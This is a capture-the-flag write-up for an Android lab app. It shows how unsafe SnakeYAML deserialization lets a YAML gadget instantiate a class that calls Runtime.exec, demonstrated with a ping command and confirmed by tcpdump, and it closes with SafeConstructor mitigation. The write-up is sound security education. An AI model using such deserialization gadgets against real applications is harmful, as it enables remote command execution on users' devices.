[Android] MHL - config-editor


🔎 Note
Challenge: Config Editor
Tools: adb, frida, jadx, rizin.

Overview

After installing the apk, let’s unzip it to view its structure:

❯ mkdir decompiled
❯ unzip com.mobilehackinglab.configeditor.apk -d decompiled/
❯ ls decompiled/
AndroidManifest.xml  classes2.dex  DebugProbesKt.bin  res
assets               classes3.dex  kotlin             resources.arsc
classes.dex          classes4.dex  META-INF 

With this directory in our workspace, we’ll open the application in our device:

The application has two buttons, the first one (Load) lets us upload a file, if the latter contains text, it will be printed on the screen; on the other hand, the second button (Save) lets us to download a YAML file called "example" by default, which contains the input file's content.

Apparently, the application is parsing the input file content, based on the downloaded file, probably a YAML file is required, let's recursively grep our decompiled folder looking for the "yaml" pattern.

Figure 1: App initialization

❯ cd decompiled/
❯ grep -riE "yaml|yml"
grep: classes4.dex: binary file matches
grep: classes.dex: binary file matches
assets/example.yml: #Comment: This is a supermarket list using YAML
grep: res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png: binary file matches

❯ cat assets/example.yml
#Comment: This is a supermarket list using YAML
#Note that - character represents the list
---
food:
  - vegetables: tomatoes #first list item
  - fruits: #second list item
      citrics: oranges
      tropical: bananas
      nuts: peanuts
      sweets: raisins

We found some files, the most relevant is example.yml, which contains a supermarket list in YAML, let’s upload the latter to our application:

❯ adb -s localhost:5555 push assets/example.yml sdcard/Download/

Figure 2: Uploading a YAML

The application is parsing the example file. We’ll make sure of this viewing the application code using jadx:

❯ jadx-gui com.mobilehackinglab.configeditor.apk&

Figure 3: MainActivity analysis in jadx

The Android Manifest doesn’t have anything relevant. However, the MainActivity includes interesting logic; its core functionality lies in parsing YAML files using a third-party library called “SnakeYAML” (import org.yaml.snakeyaml.Yaml). The challenge involves an RCE vulnerability in a third-party library; therefore, we’ve identified our attack vector.


SnakeYAML Vulnerability

Doing a quick search we can find a SnakeYAML CVE that involves remote code execution as long as the application uses an insecure constructor to deserialize the input file’s content:

Figure 4: SnakeYAML remote code execution

Breaks down the vulnerability:

Our application’s code contains the vulnerability in the following line: Object deserializedData = yaml.load(inputStream);. First, note that load is a generic method which converts the input into a Java object and returns it inferred by the type of the target variable:

public <T> T load(InputStream inputStream) {  
    return (T) loadFromReader(new StreamReader(new UnicodeReader(inputStream)), Object.class);  
}

In our case, deserializedData has the Object type, therefore, load will return an object of any type. But what does it mean for us? Well, we need to know something: SnakeYAML has a special feature that lets us create Java objects in the YAML file that will be parsed, as long as we use a particular syntax.

Imagine the application has a class called Greeting, whose constructor receives a name and prints a greeting:

package com.mytest.test

public class Greeting {
    public Greeting(String name) {
        System.out.println("Hello " + name + "!")
    }
}

By exploiting SnakeYAML’s vulnerability, we can instantiate this class with its parameter and, thus, execute the constructor’s code. To do this, we need the following YAML gadget:

!!com.mytest.test.Greeting ["Camilo"]

SnakeYAML’s !! syntax allows arbitrary object instantiation (like com.mytest.test.Greeting in this case), where [...] defines the constructor parameters (here, a name). In short, with this payload, deserializedData becomes new Greeting("Camilo"). Now, let’s exploit this on a real class in the application.


Exploitation (PoC)

Pressing Ctrl + N in jadx, we can filter classes based on their names. In this case, we can type a regular expression that contains the name of relevant classes if they exist:

Figure 5: Looking for interesting classes

There is an interesting class in com.mobilehackinglab.configeditor package called LegacyCommandUtil:

package com.mobilehackinglab.configeditor;  
  
// ...

public final class LegacyCommandUtil {  
    public LegacyCommandUtil(String command) {  
        Intrinsics.checkNotNullParameter(command, "command");  
        Runtime.getRuntime().exec(command);  
    }  
}

This is what we’re looking for, LegacyCommandUtil lets us execute a command on the target device. As I explained, we can approach application’s classes to build the YAML gadget, so, let’s build a gadget capable of executing a simple command:

!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["ping -c 1 172.0.0.1"]

Before loading the payload in the application, I’ll listen to ICMP traces on my host device using tcpdump:

❯ tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Figure 6: Loading the payload

# We received the trace!
15:32:03.711959 IP Android.local > terreneitor: ICMP echo request, id 1, seq 1, length 64
15:32:03.712095 IP terreneitor > Android.local: ICMP echo reply, id 1, seq 1, length 64

This little example was useful to demonstrate the RCE vulnerability that involves SnakeYAML’s CVE. Now then, how can we mitigate this vulnerability?

Mitigation:

The solution is simple: avoid using the default constructor of YAML, which allows arbitrary object instantiation through tags like !!class. Instead, use SafeConstructor to restrict deserialization to simple types such as maps, lists, strings, numbers, and booleans:

Yaml yaml = new Yaml(new SafeConstructor()); 
Object data = yaml.load(input);

By doing this, any attempt to deserialize custom Java classes from YAML (e.g., !!com.example.MyClass) will fail safely. Since SnakeYAML 2.0, the library enforces stricter controls by default. Unsafe constructors must now be explicitly enabled; therefore, arbitrary object creation is disabled by default.

That’s all, thanks for reading <3.